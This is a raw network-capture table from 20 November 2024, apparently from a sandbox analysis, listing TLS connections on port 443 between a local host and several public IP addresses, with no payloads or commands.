Nov 20, 2024 15:42:57.009278059 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.009357929 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.011800051 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.011864901 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.011871099 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.011919975 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.012119055 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.012135029 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.014802933 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.014823914 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.014921904 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.015136957 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.015142918 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.047066927 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.047399044 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.047418118 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.048850060 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.048942089 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.049501896 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.049570084 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.049807072 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.049814939 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.103785038 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.519074917 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.519113064 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.519201994 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.519443035 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.519458055 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.547079086 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.547208071 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.547277927 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.548851967 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:57.548871040 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:57.691907883 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:57.691951990 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:57.692065954 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:57.692280054 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:57.692292929 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:58.270301104 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.270709991 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.270723104 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.270997047 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.271334887 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.271379948 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.271445036 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.319327116 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.726922035 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.726984024 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.727118969 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.727821112 CET	49744	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.727833986 CET	443	49744	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.737004042 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.737287998 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.737301111 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.737730026 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.738039970 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.738102913 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:58.738176107 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:58.779325962 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.027240038 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.027650118 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.027673960 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.029143095 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.029222012 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.030390978 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.030468941 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.030504942 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.071327925 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.079791069 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.079798937 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.127785921 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.198826075 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.199038029 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.199099064 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.199117899 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.199203014 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.199243069 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.199701071 CET	49745	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.199714899 CET	443	49745	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.501728058 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.501909971 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.501981974 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.502047062 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.502068996 CET	443	49746	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.502085924 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.502111912 CET	49746	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.502902031 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.502938986 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.503006935 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.503218889 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:42:59.503232002 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:42:59.561719894 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.561811924 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:59.561906099 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.562186003 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:59.562215090 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.718645096 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:00.719053984 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:00.719116926 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:00.719630003 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:00.719942093 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:00.720036030 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:00.720067024 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:00.767332077 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:00.768824100 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:00.804990053 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.805347919 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:00.805408001 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.806557894 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.806894064 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:00.807027102 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:00.807044983 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.807087898 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:00.848803997 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.187263012 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:01.187369108 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:01.187453985 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:01.187670946 CET	49747	443	192.168.2.16	35.190.80.1
Nov 20, 2024 15:43:01.187712908 CET	443	49747	35.190.80.1	192.168.2.16
Nov 20, 2024 15:43:01.263041019 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.263130903 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.263211966 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.264247894 CET	49748	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.264285088 CET	443	49748	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.266661882 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.266695976 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.266773939 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.267029047 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.267045021 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.313296080 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.313354015 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:01.313465118 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.313693047 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:01.313718081 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.492392063 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.492722034 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.492734909 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.493202925 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.493508101 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.493591070 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.493634939 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.537794113 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.537811995 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.575622082 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.575951099 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.575998068 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.577172995 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.577502966 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.577653885 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.577667952 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.577691078 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.577754974 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.577796936 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.577888012 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.577910900 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.944029093 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.944116116 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:02.944214106 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.945242882 CET	49749	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:02.945261002 CET	443	49749	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.333462000 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.333513021 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.333599091 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.333682060 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.383831978 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.429241896 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.478110075 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.478157997 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.525867939 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.552447081 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552632093 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552695036 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.552719116 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552813053 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552891970 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.552896023 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552925110 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.552983999 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.553543091 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.553911924 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.553982973 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.553997040 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.554224014 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.554287910 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.554300070 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.555643082 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.555704117 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.555717945 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565702915 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565788984 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.565802097 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565825939 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565880060 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.565893888 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565963030 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.565984011 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.565984964 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.566005945 CET	443	49750	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.566046000 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.566076040 CET	49750	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.568573952 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.568613052 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:03.568689108 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.568928957 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:03.568950891 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:04.790333033 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:04.790724039 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:04.790769100 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:04.791095018 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:04.791419029 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:04.791484118 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:04.791543961 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:04.839340925 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:05.254041910 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:05.254118919 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:05.254220009 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:05.254988909 CET	49751	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:05.255002975 CET	443	49751	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:07.160785913 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:43:07.160875082 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:43:07.160938025 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:43:07.295371056 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:43:07.295406103 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:43:07.295676947 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:07.295722008 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:07.295787096 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:07.296092987 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:07.296108007 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.557518959 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.557903051 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:08.557930946 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.558255911 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.558568001 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:08.558635950 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.558708906 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:08.558815956 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:08.558840990 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:08.558960915 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:08.558988094 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209707975 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209757090 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209824085 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209867954 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209880114 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.209912062 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209933043 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.209934950 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.209997892 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.210803986 CET	49752	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.210823059 CET	443	49752	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.215056896 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.215104103 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.215225935 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.215507030 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:09.215539932 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:09.221925020 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.221957922 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:09.222047091 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.222161055 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.222196102 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:09.222281933 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.222894907 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.222913027 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:09.223402977 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:09.223428965 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.444389105 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.444664955 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.444696903 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.445108891 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.445305109 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.445333004 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.445774078 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.445857048 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446288109 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446312904 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446376085 CET	443	49754	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.446391106 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446582079 CET	49754	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446753979 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.446801901 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446839094 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.446841955 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.446894884 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447211981 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447226048 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447263956 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447297096 CET	443	49755	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.447350025 CET	49755	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447540045 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447561979 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.447675943 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447844028 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.447874069 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.448049068 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:10.448065996 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:10.524298906 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.524631023 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:10.524652958 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.524945974 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.525320053 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:10.525378942 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.525468111 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:10.567334890 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.993211031 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.993288994 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:10.993356943 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:10.994302034 CET	49753	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:43:10.994318008 CET	443	49753	104.18.94.41	192.168.2.16
Nov 20, 2024 15:43:11.720346928 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.720642090 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.720716953 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.724400043 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.724590063 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.724961042 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.725142956 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.725251913 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.725275993 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.725303888 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.741364956 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.741714001 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.741739988 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.742794991 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.742873907 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.743474007 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.743561983 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.771338940 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.775815010 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.791815042 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:11.791837931 CET	443	49756	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:11.839792013 CET	49756	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.245353937 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245507002 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245596886 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245660067 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.245709896 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245794058 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245855093 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.245863914 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.245910883 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.245917082 CET	443	49757	172.67.195.135	192.168.2.16
